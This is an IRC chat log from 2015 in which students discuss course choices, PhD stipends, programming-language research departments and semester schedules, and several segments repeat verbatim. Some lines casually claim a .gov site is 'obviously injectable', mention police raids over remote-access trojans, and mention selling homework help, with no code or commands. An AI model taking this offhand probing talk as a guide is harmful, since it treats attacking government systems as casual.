[2015-04-02T11:43:52-0400] <+awe> Operating Systems conflicts with Intro to Computation. I can't take Software Engineering or Algorithms because I need to take Intro to Computation and Programming Methodologies. Software Engineering also conflicts with Intro to Computation. Artificial Intelligence requires me to be a junior (of which I am a single credit short) and has a significant workload, and so, web programming is the only option.
[2015-04-02T11:44:08-0400] <+awe> Unless I can somehow get credit for 220 without taking it, and then take AI next year.
[2015-04-02T11:44:36-0400] <+awe> 220 == Programming Methodologies == Git, Scala, making programs that are larger than four files and are not built on something they handed you.
[2015-04-02T12:34:34-0400] <JacobEdelman> wow...
[2015-04-02T12:34:54-0400] <JacobEdelman> ask for credit for 220 without taking it
[2015-04-02T12:34:56-0400] <JacobEdelman> show what you've done
[2015-04-02T12:35:05-0400] <JacobEdelman> try to prove that taking it would be stupid for you
[2015-04-02T12:35:10-0400] <JacobEdelman> or jsut take it and never show up
[2015-04-02T12:35:12-0400] <JacobEdelman> *just
[2015-04-02T12:35:53-0400] <JacobEdelman> I mean, if you do have to take an insanely easy course, either take one with a really amazing prof., or (possible better) take one where tests are most of the grade
[2015-04-02T12:36:00-0400] <JacobEdelman> that way you only have to show up every once in a while
[2015-04-02T12:56:36-0400] Mode is +nt
[2015-04-02T12:57:13-0400] <+awe> JacobEdelman: the easiest courses for me are all project-heavy, not exam-heavy.
[2015-04-02T12:58:41-0400] <+awe> JacobEdelman: I'm going to try to get the credit for 220, but if I can't, I'll probably just do what I do in my systems course in it.
[2015-04-02T13:14:56-0400] <JacobEdelman> awe: which is?
[2015-04-02T13:15:07-0400] <+awe> I'm talking to you right now.
[2015-04-02T13:15:09-0400] <+awe> Do you know where I am
[2015-04-02T13:15:10-0400] <+awe> ?
[2015-04-02T13:15:14-0400] <+awe> I'm in my systems course. :)
[2015-04-02T13:15:23-0400] <+awe> I'm also working on a written assignment for another class right now.
[2015-04-02T13:15:37-0400] <+awe> Occasionally, I look up to make sure that I still know everything about what he's talking about.
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[2015-04-02T13:15:51-0400] <+awe> Hi, apothy!
[2015-04-02T13:16:26-0400] <apothy> awe: Ayy :D
[2015-04-02T13:16:33-0400] <apothy> Oh I had like
[2015-04-02T13:16:34-0400] <apothy> two questions
[2015-04-02T13:16:36-0400] <apothy> but now I forgot
[2015-04-02T13:16:42-0400] <apothy> well shit xD
[2015-04-02T13:17:01-0400] <apothy> Oh right
[2015-04-02T13:17:13-0400] <apothy> How much is tuition for PhD?
[2015-04-02T13:17:26-0400] <apothy> Is it as expensive as undergrad?
[2015-04-02T13:17:50-0400] <+awe> Roughly, yes.
[2015-04-02T13:18:14-0400] <+awe> MIT is $44,720/year.
[2015-04-02T13:18:20-0400] <+awe> This doesn't include housing.
[2015-04-02T13:18:24-0400] <JacobEdelman> Wait
[2015-04-02T13:18:41-0400] <JacobEdelman> I thought phds get paid or something
[2015-04-02T13:18:46-0400] <+awe> Only if you get funding. :)
[2015-04-02T13:18:58-0400] <JacobEdelman> Ahh but a bunch do
[2015-04-02T13:19:06-0400] <+awe> Yes, you typically get funding.
[2015-04-02T13:19:18-0400] <+awe> Usually full funding, but sometimes your stipends are really awful.
[2015-04-02T13:19:30-0400] <apothy> .gg
[2015-04-02T13:19:32-0400] <+awe> And since stipends typically pay for your housing, it's certainly not an easy life.
[2015-04-02T13:19:52-0400] <apothy> :/
[2015-04-02T13:19:53-0400] <+awe> But yeah, you probably won't pay $44,000/year for your PhD.
[2015-04-02T13:19:59-0400] <apothy> Oh okay
[2015-04-02T13:20:12-0400] <apothy> And does that only apply to the first few years when you actually take courses?
[2015-04-02T13:20:16-0400] <+awe> Realistically, you'll make like $20,000/year and spend like $15,000/year on housing.
[2015-04-02T13:20:18-0400] <apothy> Or that extend to when you're doing research?
[2015-04-02T13:20:20-0400] <apothy> Oh okay
[2015-04-02T13:20:26-0400] <+awe> That applies to the whole time.
[2015-04-02T13:20:30-0400] <apothy> Oh okay.
[2015-04-02T13:20:34-0400] <apothy> hahah
[2015-04-02T13:20:54-0400] <+awe> If you live in large group housing or are fortunate enough to get housing on campus, your housing cost might be a lot lower.
[2015-04-02T13:21:06-0400] <+awe> But yeah, living around a university tends to mean that COL is pretty high.
[2015-04-02T13:21:52-0400] <+awe> Just don't go into it expecting that you'll have a lot of money. You'll probably be struggling most of the time.
[2015-04-02T13:22:31-0400] <apothy> ^that was JacobEdelman 
[2015-04-02T13:22:47-0400] <apothy> Aw poo
[2015-04-02T13:23:03-0400] <+awe> Unless your parents help you out.
[2015-04-02T13:23:21-0400] <+awe> For example, I think my parents will pay for my housing for at least a few years of my PhD.
[2015-04-02T13:23:38-0400] <apothy> Oh okay
[2015-04-02T13:23:44-0400] <apothy> Though, most do like summer internships right?
[2015-04-02T13:23:47-0400] <+awe> Lol, no.
[2015-04-02T13:23:52-0400] <apothy> o
[2015-04-02T13:24:01-0400] <+awe> You don't really have breaks as a PhD student.
[2015-04-02T13:24:12-0400] <+awe> Breaks are just good opportunities for you to do research without being distracted by courses.
[2015-04-02T13:24:17-0400] <apothy> Ah, makes sense
[2015-04-02T13:24:25-0400] <apothy> Though you only take courses for the first twoish years, right?
[2015-04-02T13:24:42-0400] <+awe> You'll probably continue to take seminars and stuff.
[2015-04-02T13:24:48-0400] <+awe> I think that depends on school, too.
[2015-04-02T13:24:54-0400] <apothy> Ah okay
[2015-04-02T13:26:10-0400] <+awe> It confuses me deeply that MIT doesn't have PL research
[2015-04-02T13:26:24-0400] <apothy> Wow really>?
[2015-04-02T13:26:28-0400] <apothy> Dang
[2015-04-02T13:26:48-0400] <+awe> http://adam.chlipala.net
[2015-04-02T13:26:52-0400] <+awe> This is the only PL researcher at MIT.
[2015-04-02T13:28:07-0400] <apothy> Shit yo
[2015-04-02T13:28:13-0400] <apothy> What colleges have a lot of PL people?
[2015-04-02T13:28:16-0400] <apothy> Cornell, right?
[2015-04-02T13:30:14-0400] <+awe> Cornell has a ton.
[2015-04-02T13:30:30-0400] <apothy> onice
[2015-04-02T13:30:31-0400] <apothy> CMU?
[2015-04-02T13:30:35-0400] <+awe> UMass has a ton, but only one of them is a PLT guy.
[2015-04-02T13:30:45-0400] <apothy> Oh okay
[2015-04-02T13:30:50-0400] <+awe> CMU has a lot of PL people, but no PLT people AFAIK.
[2015-04-02T13:31:02-0400] <apothy> Ah
[2015-04-02T13:31:09-0400] <+awe> That's sort of the issue. I can find PL programs at a lot of good schools, but only a select few have PLT and type theory.
[2015-04-02T13:32:30-0400] <apothy> Oh, shit
[2015-04-02T13:34:07-0400] <+awe> The fact that Stanford and MIT don't have it is very confusing.
[2015-04-02T13:34:13-0400] <+awe> They don't have PL at all.
[2015-04-02T13:34:27-0400] <apothy> That's actually really, really weird
[2015-04-02T13:34:38-0400] <apothy> seeing as they're two of the best CS schools.
[2015-04-02T13:34:52-0400] <+awe> I don't think Berkeley had it either.
[2015-04-02T13:34:59-0400] <apothy> wat .-.
[2015-04-02T13:35:00-0400] <+awe> I'm checking now though.
[2015-04-02T13:35:02-0400] <apothy> Oh okay
[2015-04-02T13:35:11-0400] <+awe> Nah, they do.
[2015-04-02T13:35:24-0400] <+awe> http://www.eecs.berkeley.edu/Research/Areas/PS/
[2015-04-02T13:36:00-0400] <apothy> Ayy
[2015-04-02T13:36:02-0400] <apothy> Hm, no PLT though
[2015-04-02T13:36:10-0400] <+awe> It's mostly oriented around parallelism, fault tolerance, and compiler optimizations.
[2015-04-02T13:36:13-0400] <+awe> So, yeah, not really any PLT.
[2015-04-02T13:36:44-0400] <+awe> It seems that parallelism, fault tolerance, and compiler optimizations are the big areas in PL right now.
[2015-04-02T13:37:56-0400] <apothy> Are those interesting?
[2015-04-02T13:38:14-0400] <+awe> I'm interested in fault tolerance to some degree, but I think it's the wrong approach.
[2015-04-02T13:38:35-0400] <+awe> Fault tolerance is a bandaid to the problems that type theory can solve.
[2015-04-02T13:38:56-0400] <apothy> Oh, that explains the name, lol
[2015-04-02T13:40:58-0400] <+awe> Well, yeah, software fault tolerance is basically "How can we allow a program to continue to operating after it does something that's not correct?"
[2015-04-02T13:43:13-0400] <apothy> Ah, lol
[2015-04-02T13:43:55-0400] <+awe> Whereas type theory is basically "How can we ensure that a program is always correct?"
[2015-04-02T13:46:14-0400] <+awe> (Or at least as correct as humanly possible)
[2015-04-02T13:48:42-0400] <apothy> Ah
[2015-04-02T13:48:48-0400] <apothy> Hm yeah type theory seems cooler
[2015-04-02T13:50:07-0400] <+awe> It certainly is to me.
[2015-04-02T13:52:33-0400] <apothy> :)
[2015-04-02T13:52:44-0400] <apothy> Hm I like online algorithms a lot, but the thing is
[2015-04-02T13:52:46-0400] <apothy> nobody else does
[2015-04-02T13:52:47-0400] <apothy> xD
[2015-04-02T13:52:58-0400] <+awe> What do you mean by online algorithms?
[2015-04-02T13:53:16-0400] <apothy> Algorithms where you're not given the entire input initially
[2015-04-02T13:53:29-0400] <apothy> and you have to make decisions as the input comes in at every step
[2015-04-02T13:53:45-0400] <+awe> Streaming algorithms?
[2015-04-02T13:53:49-0400] <apothy> Similar
[2015-04-02T13:53:55-0400] <apothy> except you don't have memory constraints
[2015-04-02T13:54:05-0400] <+awe> Ah, interesting.
[2015-04-02T13:54:16-0400] <+awe> Andrew might do that.
[2015-04-02T13:54:22-0400] <apothy> Andrew?
[2015-04-02T13:54:33-0400] <+awe> http://people.cs.umass.edu/~mcgregor/research/research.html
[2015-04-02T13:56:23-0400] <apothy> Oh yeah. This guy
[2015-04-02T13:56:26-0400] <apothy> You mentioned him
[2015-04-02T13:56:56-0400] <apothy> Hm GTech has a lot people interested in randomized algorithms though, and those are pretty cool too.
[2015-04-02T14:00:47-0400] <+awe> Hm, yeah.
[2015-04-02T14:02:10-0400] <apothy> I'll probably try doing that if I commit.
[2015-04-02T14:02:36-0400] <+awe> I vote for GT.
[2015-04-02T14:03:06-0400] <+awe> I'm glad that you're choosing between public schools though. :)
[2015-04-02T14:03:41-0400] <+awe> One advantage of UIUC might be that their non-technical departments might be stronger, but I don't actually know that for a fact.
[2015-04-02T14:07:55-0400] <apothy> I think they are
[2015-04-02T14:08:01-0400] <apothy> at least according to US News http://colleges.usnews.rankingsandreviews.com/best-colleges/university-of-illinois-at-urbana-champaign-145637/overall-rankings
[2015-04-02T14:08:14-0400] <apothy> And yay public schools :D
[2015-04-02T14:14:12-0400] <apothy> Lol 6 minutes left until my laptop dies
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[2015-04-02T23:32:50-0400] <LittleBobbyTables> .gov
[2015-04-02T23:32:54-0400] <z3t> ye
[2015-04-02T23:33:17-0400] <LittleBobbyTables> It's obviously injectable
[2015-04-02T23:33:23-0400] <LittleBobbyTables> They just hid their error message
[2015-04-02T23:37:01-0400] <LittleBobbyTables> Why can't I wget facebook or google
[2015-04-02T23:38:12-0400] <ubuntor> what's the issue?
[2015-04-02T23:38:46-0400] <LittleBobbyTables> permission denied on google
[2015-04-02T23:38:50-0400] <LittleBobbyTables> unsupported browser on facebook
[2015-04-02T23:39:36-0400] <z3t> The feds are coming LittleBobbyTables!
[2015-04-02T23:39:43-0400] <LittleBobbyTables> o noes
[2015-04-02T23:39:49-0400] <LittleBobbyTables> wutever r dey gonna do
[2015-04-02T23:39:57-0400] <z3t> btw you hear about the im3 raids
[2015-04-02T23:40:33-0400] <LittleBobbyTables> lolwut
[2015-04-02T23:41:01-0400] <z3t> imminent monitor 3
[2015-04-02T23:41:07-0400] <LittleBobbyTables> ye
[2015-04-02T23:41:09-0400] <LittleBobbyTables> but what
[2015-04-02T23:41:27-0400] <z3t> similar to blackshades
[2015-04-02T23:41:29-0400] <LittleBobbyTables> ye
[2015-04-02T23:41:30-0400] <LittleBobbyTables> but what
[2015-04-02T23:41:37-0400] <LittleBobbyTables> i'm finding nothing on this
[2015-04-02T23:42:25-0400] <LittleBobbyTables> nvm found it
[2015-04-02T23:42:31-0400] <ubuntor> https://torrentfreak.com/netflix-plans-free-tier-after-absorbing-popcorn-time-150401/
[2015-04-02T23:42:33-0400] <LittleBobbyTables> meh, all of mine were legal purposes
[2015-04-02T23:42:50-0400] <LittleBobbyTables> And 1+ year ago
[2015-04-02T23:43:14-0400] <z3t> bunch of raids yesterday
[2015-04-02T23:43:47-0400] <LittleBobbyTables> I don't think I even have it installed anymore
[2015-04-02T23:44:11-0400] <JacobEdelman> guys
[2015-04-02T23:44:18-0400] <JacobEdelman> chlorine triflouride is so cool
[2015-04-02T23:44:19-0400] <JacobEdelman> https://en.wikipedia.org/wiki/Chlorine_trifluoride
[2015-04-02T23:44:34-0400] <JacobEdelman> the nazis were gonna use it in the war but then decided it was too dangerous
[2015-04-02T23:44:44-0400] <JacobEdelman> it causes basicly anything it comes in contact with to ignite
[2015-04-02T23:45:03-0400] <LittleBobbyTables> ubuntor: that's totally believable
[2015-04-02T23:45:23-0400] <ubuntor> obv
[2015-04-02T23:45:32-0400] <tjstudent> ...was the winner for ctctf ever announced?
[2015-04-02T23:45:45-0400] <LittleBobbyTables> yes
[2015-04-02T23:45:52-0400] <tjstudent> who
[2015-04-02T23:46:17-0400] <LittleBobbyTables> Not you.
[2015-04-02T23:46:20-0400] <tjstudent> oh
[2015-04-02T23:46:22-0400] <tjstudent> :(
[2015-04-02T23:46:29-0400] <tjstudent> z3t pingtimeout already 
[2015-04-02T23:46:44-0400] <LittleBobbyTables> get better internet scrub
[2015-04-02T23:46:49-0400] <tjstudent> tell that to the hotel
[2015-04-02T23:47:07-0400] <JacobEdelman> so, chloring triflouride won't cause your skin to burst into flame
[2015-04-02T23:47:26-0400] <JacobEdelman> but thats only because it will turn into several different acids (such as hydrocloric) upon contact with your skin
[2015-04-02T23:48:31-0400] <LittleBobbyTables> z3t: same thing happened to blackshades. If anything, they'll come down, spend 2 minutes talking to me in person while I ask to go back to playing dota, then leave.
[2015-04-02T23:49:18-0400] <LittleBobbyTables> Also, why do literally all the threads have april fool's shit on there lol
[2015-04-02T23:54:23-0400] <JacobEdelman> also
[2015-04-02T23:54:28-0400] <JacobEdelman> ewwww #tjhsst
[2015-04-02T23:54:32-0400] <JacobEdelman> just ewww
[2015-04-03T00:01:06-0400] <sdamashek> lol idek
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[2015-04-02T23:32:54-0400] <z3t> ye
[2015-04-02T23:33:17-0400] <LittleBobbyTables> It's obviously injectable
[2015-04-02T23:33:23-0400] <LittleBobbyTables> They just hid their error message
[2015-04-02T23:37:01-0400] <LittleBobbyTables> Why can't I wget facebook or google
[2015-04-02T23:38:12-0400] <ubuntor> what's the issue?
[2015-04-02T23:38:46-0400] <LittleBobbyTables> permission denied on google
[2015-04-02T23:38:50-0400] <LittleBobbyTables> unsupported browser on facebook
[2015-04-02T23:39:36-0400] <z3t> The feds are coming LittleBobbyTables!
[2015-04-02T23:39:43-0400] <LittleBobbyTables> o noes
[2015-04-02T23:39:49-0400] <LittleBobbyTables> wutever r dey gonna do
[2015-04-02T23:39:57-0400] <z3t> btw you hear about the im3 raids
[2015-04-02T23:40:33-0400] <LittleBobbyTables> lolwut
[2015-04-02T23:41:01-0400] <z3t> imminent monitor 3
[2015-04-02T23:41:07-0400] <LittleBobbyTables> ye
[2015-04-02T23:41:09-0400] <LittleBobbyTables> but what
[2015-04-02T23:41:27-0400] <z3t> similar to blackshades
[2015-04-02T23:41:29-0400] <LittleBobbyTables> ye
[2015-04-02T23:41:30-0400] <LittleBobbyTables> but what
[2015-04-02T23:41:37-0400] <LittleBobbyTables> i'm finding nothing on this
[2015-04-02T23:42:25-0400] <LittleBobbyTables> nvm found it
[2015-04-02T23:42:31-0400] <ubuntor> https://torrentfreak.com/netflix-plans-free-tier-after-absorbing-popcorn-time-150401/
[2015-04-02T23:42:33-0400] <LittleBobbyTables> meh, all of mine were legal purposes
[2015-04-02T23:42:50-0400] <LittleBobbyTables> And 1+ year ago
[2015-04-02T23:43:14-0400] <z3t> bunch of raids yesterday
[2015-04-02T23:43:47-0400] <LittleBobbyTables> I don't think I even have it installed anymore
[2015-04-02T23:44:11-0400] <JacobEdelman> guys
[2015-04-02T23:44:18-0400] <JacobEdelman> chlorine triflouride is so cool
[2015-04-02T23:44:19-0400] <JacobEdelman> https://en.wikipedia.org/wiki/Chlorine_trifluoride
[2015-04-02T23:44:34-0400] <JacobEdelman> the nazis were gonna use it in the war but then decided it was too dangerous
[2015-04-02T23:44:44-0400] <JacobEdelman> it causes basicly anything it comes in contact with to ignite
[2015-04-02T23:45:03-0400] <LittleBobbyTables> ubuntor: that's totally believable
[2015-04-02T23:45:23-0400] <ubuntor> obv
[2015-04-02T23:45:32-0400] <tjstudent> ...was the winner for ctctf ever announced?
[2015-04-02T23:45:45-0400] <LittleBobbyTables> yes
[2015-04-02T23:45:52-0400] <tjstudent> who
[2015-04-02T23:46:17-0400] <LittleBobbyTables> Not you.
[2015-04-02T23:46:20-0400] <tjstudent> oh
[2015-04-02T23:46:22-0400] <tjstudent> :(
[2015-04-02T23:46:29-0400] <tjstudent> z3t pingtimeout already 
[2015-04-02T23:46:44-0400] <LittleBobbyTables> get better internet scrub
[2015-04-02T23:46:49-0400] <tjstudent> tell that to the hotel
[2015-04-02T23:47:07-0400] <JacobEdelman> so, chloring triflouride won't cause your skin to burst into flame
[2015-04-02T23:47:26-0400] <JacobEdelman> but thats only because it will turn into several different acids (such as hydrocloric) upon contact with your skin
[2015-04-02T23:48:31-0400] <LittleBobbyTables> z3t: same thing happened to blackshades. If anything, they'll come down, spend 2 minutes talking to me in person while I ask to go back to playing dota, then leave.
[2015-04-02T23:49:18-0400] <LittleBobbyTables> Also, why do literally all the threads have april fool's shit on there lol
[2015-04-02T23:54:23-0400] <JacobEdelman> also
[2015-04-02T23:54:28-0400] <JacobEdelman> ewwww #tjhsst
[2015-04-02T23:54:32-0400] <JacobEdelman> just ewww
[2015-04-03T00:01:06-0400] <sdamashek> lol idek
[2015-04-03T00:20:25-0400] <z3t> gn all
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[2015-04-03T00:54:17-0400] <LittleBobbyTables> Why do things say "We recommend you close all other things before installing"
[2015-04-03T00:57:18-0400] <+awe> Paranoia from the olden days.
[2015-04-03T00:57:34-0400] <LittleBobbyTables> What could even happen
[2015-04-03T00:57:50-0400] <+awe> Multiple disk access -> computer locks up.
[2015-04-03T00:58:05-0400] <LittleBobbyTables> ah
[2015-04-03T00:58:16-0400] <+awe> Installer writes to file that is being read by another program.
[2015-04-03T00:58:26-0400] <+awe> Everything blows up.
[2015-04-03T00:58:37-0400] <+awe> Basically, weird race conditions from operating systems being really bad.
[2015-04-03T00:58:51-0400] <alokpathy> Oh, hm, interesting
[2015-04-03T00:59:11-0400] <LittleBobbyTables> You know, you coulda just said "shitty comps == ded"
[2015-04-03T00:59:17-0400] <LittleBobbyTables> And I would have understood perfectly
[2015-04-03T00:59:32-0400] <+awe> Sure, but I enjoyed explaining it.
[2015-04-03T00:59:45-0400] <LittleBobbyTables> Fair enough.
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[2015-04-03T01:19:59-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-02T23:41:07-0400] <LittleBobbyTables> ye
[2015-04-02T23:41:09-0400] <LittleBobbyTables> but what
[2015-04-02T23:41:27-0400] <z3t> similar to blackshades
[2015-04-02T23:41:29-0400] <LittleBobbyTables> ye
[2015-04-02T23:41:30-0400] <LittleBobbyTables> but what
[2015-04-02T23:41:37-0400] <LittleBobbyTables> i'm finding nothing on this
[2015-04-02T23:42:25-0400] <LittleBobbyTables> nvm found it
[2015-04-02T23:42:31-0400] <ubuntor> https://torrentfreak.com/netflix-plans-free-tier-after-absorbing-popcorn-time-150401/
[2015-04-02T23:42:33-0400] <LittleBobbyTables> meh, all of mine were legal purposes
[2015-04-02T23:42:50-0400] <LittleBobbyTables> And 1+ year ago
[2015-04-02T23:43:14-0400] <z3t> bunch of raids yesterday
[2015-04-02T23:43:47-0400] <LittleBobbyTables> I don't think I even have it installed anymore
[2015-04-02T23:44:11-0400] <JacobEdelman> guys
[2015-04-02T23:44:18-0400] <JacobEdelman> chlorine triflouride is so cool
[2015-04-02T23:44:19-0400] <JacobEdelman> https://en.wikipedia.org/wiki/Chlorine_trifluoride
[2015-04-02T23:44:34-0400] <JacobEdelman> the nazis were gonna use it in the war but then decided it was too dangerous
[2015-04-02T23:44:44-0400] <JacobEdelman> it causes basicly anything it comes in contact with to ignite
[2015-04-02T23:45:03-0400] <LittleBobbyTables> ubuntor: that's totally believable
[2015-04-02T23:45:23-0400] <ubuntor> obv
[2015-04-02T23:45:32-0400] <tjstudent> ...was the winner for ctctf ever announced?
[2015-04-02T23:45:45-0400] <LittleBobbyTables> yes
[2015-04-02T23:45:52-0400] <tjstudent> who
[2015-04-02T23:46:17-0400] <LittleBobbyTables> Not you.
[2015-04-02T23:46:20-0400] <tjstudent> oh
[2015-04-02T23:46:22-0400] <tjstudent> :(
[2015-04-02T23:46:29-0400] <tjstudent> z3t pingtimeout already 
[2015-04-02T23:46:44-0400] <LittleBobbyTables> get better internet scrub
[2015-04-02T23:46:49-0400] <tjstudent> tell that to the hotel
[2015-04-02T23:47:07-0400] <JacobEdelman> so, chloring triflouride won't cause your skin to burst into flame
[2015-04-02T23:47:26-0400] <JacobEdelman> but thats only because it will turn into several different acids (such as hydrocloric) upon contact with your skin
[2015-04-02T23:48:31-0400] <LittleBobbyTables> z3t: same thing happened to blackshades. If anything, they'll come down, spend 2 minutes talking to me in person while I ask to go back to playing dota, then leave.
[2015-04-02T23:49:18-0400] <LittleBobbyTables> Also, why do literally all the threads have april fool's shit on there lol
[2015-04-02T23:54:23-0400] <JacobEdelman> also
[2015-04-02T23:54:28-0400] <JacobEdelman> ewwww #tjhsst
[2015-04-02T23:54:32-0400] <JacobEdelman> just ewww
[2015-04-03T00:01:06-0400] <sdamashek> lol idek
[2015-04-03T00:20:25-0400] <z3t> gn all
[2015-04-03T00:54:17-0400] <LittleBobbyTables> Why do things say "We recommend you close all other things before installing"
[2015-04-03T00:57:18-0400] <+awe> Paranoia from the olden days.
[2015-04-03T00:57:34-0400] <LittleBobbyTables> What could even happen
[2015-04-03T00:57:50-0400] <+awe> Multiple disk access -> computer locks up.
[2015-04-03T00:58:05-0400] <LittleBobbyTables> ah
[2015-04-03T00:58:16-0400] <+awe> Installer writes to file that is being read by another program.
[2015-04-03T00:58:26-0400] <+awe> Everything blows up.
[2015-04-03T00:58:37-0400] <+awe> Basically, weird race conditions from operating systems being really bad.
[2015-04-03T00:58:51-0400] <alokpathy> Oh, hm, interesting
[2015-04-03T00:59:11-0400] <LittleBobbyTables> You know, you coulda just said "shitty comps == ded"
[2015-04-03T00:59:17-0400] <LittleBobbyTables> And I would have understood perfectly
[2015-04-03T00:59:32-0400] <+awe> Sure, but I enjoyed explaining it.
[2015-04-03T00:59:45-0400] <LittleBobbyTables> Fair enough.
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[2015-04-03T09:54:30-0400] <JacobEdelman> gmorning all
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[2015-04-03T10:29:25-0400] <fwilson> morning
[2015-04-03T10:31:02-0400] <z3t> morning
[2015-04-03T10:41:37-0400] <JacobEdelman> so, spring break is fun
[2015-04-03T10:46:09-0400] <z3t> if you go places yes
[2015-04-03T10:46:52-0400] <LittleBobbyTables> Depends on what places youg o.
[2015-04-03T10:48:25-0400] <z3t> tru
[2015-04-03T10:49:54-0400] <LittleBobbyTables> z3t: what's you HF name, so I can camp you and call you a gay everywhere you go
[2015-04-03T10:50:31-0400] <z3t> I only post when I need to buy something, only good thing about that site is the marketplace
[2015-04-03T10:51:50-0400] <LittleBobbyTables> Meh, education nation is nice
[2015-04-03T10:52:01-0400] <LittleBobbyTables> A lot of the HS skiddies pay you for easy homework
[2015-04-03T10:53:50-0400] <z3t> interesting
[2015-04-03T11:20:50-0400] <+awe> JacobEdelman: lol, you're on Spring Break, and I'm done with school in three weeks.
[2015-04-03T11:20:56-0400] <alokpathy> :(
[2015-04-03T11:21:03-0400] • alokpathy: sobs
[2015-04-03T11:21:09-0400] <alokpathy> I wanna be done with school soon too
[2015-04-03T11:21:31-0400] <+awe> If you go to UMass, we have really short semesters. :p
[2015-04-03T11:21:50-0400] <alokpathy> Wait so your sem ends on April 24th?
[2015-04-03T11:22:18-0400] <+awe> Dangit, we have four weeks.
[2015-04-03T11:22:24-0400] <+awe> (And then finals)
[2015-04-03T11:23:04-0400] <+awe> Well, the last week is like a half week.
[2015-04-03T11:23:31-0400] <alokpathy> Oh so you end in the last week of April?
[2015-04-03T11:23:42-0400] <+awe> We end with the month of April, and the first week of May is finals.
[2015-04-03T11:23:55-0400] <alokpathy> I thought that was normal xD
[2015-04-03T11:24:15-0400] <+awe> Nah, schools usually end mid-May.
[2015-04-03T11:24:23-0400] <alokpathy> Ah okay
[2015-04-03T11:24:23-0400] <+awe> And start the second semester earlier than us.
[2015-04-03T11:24:29-0400] <alokpathy> Ah
[2015-04-03T11:24:38-0400] <alokpathy> Strange UMass xD
[2015-04-03T11:24:42-0400] <+awe> We only have 14 class meets per day of the week the class meets.
[2015-04-03T11:24:53-0400] <+awe> So, a once-a-week class, you'll only have 14 times.
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[2015-04-03T11:25:32-0400] <+awe> Oh, right, the second to last week also isn't a full week.
[2015-04-03T11:25:34-0400] <+awe> We have the Monday off.
[2015-04-03T11:25:41-0400] <+awe> Because 4/20 day is a holiday.
[2015-04-03T11:25:50-0400] <alokpathy> Wait actually
[2015-04-03T11:25:51-0400] <jake> blazeit
[2015-04-03T11:26:06-0400] <+awe> Yeah! It's called Patriot's Day.
[2015-04-03T11:26:08-0400] <alokpathy> Is there a reason besides blazeit? :P
[2015-04-03T11:26:10-0400] <alokpathy> Oh
[2015-04-03T11:26:12-0400] <alokpathy> LOL
[2015-04-03T11:26:19-0400] <jwoglom> lol, nice
[2015-04-03T11:26:19-0400] <+awe> It's basically just an excuse because nobody wants to teach on 4/20 day though.
[2015-04-03T11:26:33-0400] <alokpathy> Understandably xD
[2015-04-03T11:27:19-0400] <+awe> Amherst hosts Extravaganja every year on that weekend, and it's the largest marijuana legalization festival in either the Northeast or the whole East coast. I forget.
[2015-04-03T11:28:00-0400] <Coast> the whole east ME
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[2015-04-03T11:28:16-0400] <+awe> Coast: indeed.
[2015-04-03T11:28:20-0400] <+awe> Pic related: https://youtu.be/sifVwz5Nguc
[2015-04-03T11:28:38-0400] <Coast> eh I have nothing against such events but I'd never go
[2015-04-03T11:28:56-0400] <+awe> I also probably won't go.
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[2015-04-03T10:48:25-0400] <z3t> tru
[2015-04-03T10:49:54-0400] <LittleBobbyTables> z3t: what's you HF name, so I can camp you and call you a gay everywhere you go
[2015-04-03T10:50:31-0400] <z3t> I only post when I need to buy something, only good thing about that site is the marketplace
[2015-04-03T10:51:50-0400] <LittleBobbyTables> Meh, education nation is nice
[2015-04-03T10:52:01-0400] <LittleBobbyTables> A lot of the HS skiddies pay you for easy homework
[2015-04-03T10:53:50-0400] <z3t> interesting
[2015-04-03T11:20:50-0400] <+awe> JacobEdelman: lol, you're on Spring Break, and I'm done with school in three weeks.
[2015-04-03T11:20:56-0400] <alokpathy> :(
[2015-04-03T11:21:03-0400] • alokpathy: sobs
[2015-04-03T11:21:09-0400] <alokpathy> I wanna be done with school soon too
[2015-04-03T11:21:31-0400] <+awe> If you go to UMass, we have really short semesters. :p
[2015-04-03T11:21:50-0400] <alokpathy> Wait so your sem ends on April 24th?
[2015-04-03T11:22:18-0400] <+awe> Dangit, we have four weeks.
[2015-04-03T11:22:24-0400] <+awe> (And then finals)
[2015-04-03T11:23:04-0400] <+awe> Well, the last week is like a half week.
[2015-04-03T11:23:31-0400] <alokpathy> Oh so you end in the last week of April?
[2015-04-03T11:23:42-0400] <+awe> We end with the month of April, and the first week of May is finals.
[2015-04-03T11:23:55-0400] <alokpathy> I thought that was normal xD
[2015-04-03T11:24:15-0400] <+awe> Nah, schools usually end mid-May.
[2015-04-03T11:24:23-0400] <alokpathy> Ah okay
[2015-04-03T11:24:23-0400] <+awe> And start the second semester earlier than us.
[2015-04-03T11:24:29-0400] <alokpathy> Ah
[2015-04-03T11:24:38-0400] <alokpathy> Strange UMass xD
[2015-04-03T11:24:42-0400] <+awe> We only have 14 class meets per day of the week the class meets.
[2015-04-03T11:24:53-0400] <+awe> So, a once-a-week class, you'll only have 14 times.
[2015-04-03T11:25:32-0400] <+awe> Oh, right, the second to last week also isn't a full week.
[2015-04-03T11:25:34-0400] <+awe> We have the Monday off.
[2015-04-03T11:25:41-0400] <+awe> Because 4/20 day is a holiday.
[2015-04-03T11:25:50-0400] <alokpathy> Wait actually
[2015-04-03T11:25:51-0400] <jake> blazeit
[2015-04-03T11:26:06-0400] <+awe> Yeah! It's called Patriot's Day.
[2015-04-03T11:26:08-0400] <alokpathy> Is there a reason besides blazeit? :P
[2015-04-03T11:26:10-0400] <alokpathy> Oh
[2015-04-03T11:26:12-0400] <alokpathy> LOL
[2015-04-03T11:26:19-0400] <jwoglom> lol, nice
[2015-04-03T11:26:19-0400] <+awe> It's basically just an excuse because nobody wants to teach on 4/20 day though.
[2015-04-03T11:26:33-0400] <alokpathy> Understandably xD
[2015-04-03T11:27:19-0400] <+awe> Amherst hosts Extravaganja every year on that weekend, and it's the largest marijuana legalization festival in either the Northeast or the whole East coast. I forget.
[2015-04-03T11:28:00-0400] <Coast> the whole east ME
[2015-04-03T11:28:16-0400] <+awe> Coast: indeed.
[2015-04-03T11:28:20-0400] <+awe> Pic related: https://youtu.be/sifVwz5Nguc
[2015-04-03T11:28:38-0400] <Coast> eh I have nothing against such events but I'd never go
[2015-04-03T11:28:56-0400] <+awe> I also probably won't go.
[2015-04-03T12:50:06-0400] <JacobEdelman> awe: check your email
[2015-04-03T12:53:08-0400] <JacobEdelman> you know programming language theory is getting confusing when the function "Magic" is used
[2015-04-03T12:58:09-0400] <JacobEdelman> `I love this talk
[2015-04-03T12:58:18-0400] <JacobEdelman> the guy has no idea why his optimizer is so good
[2015-04-03T12:58:25-0400] <JacobEdelman> its like 5x better than manual encodings
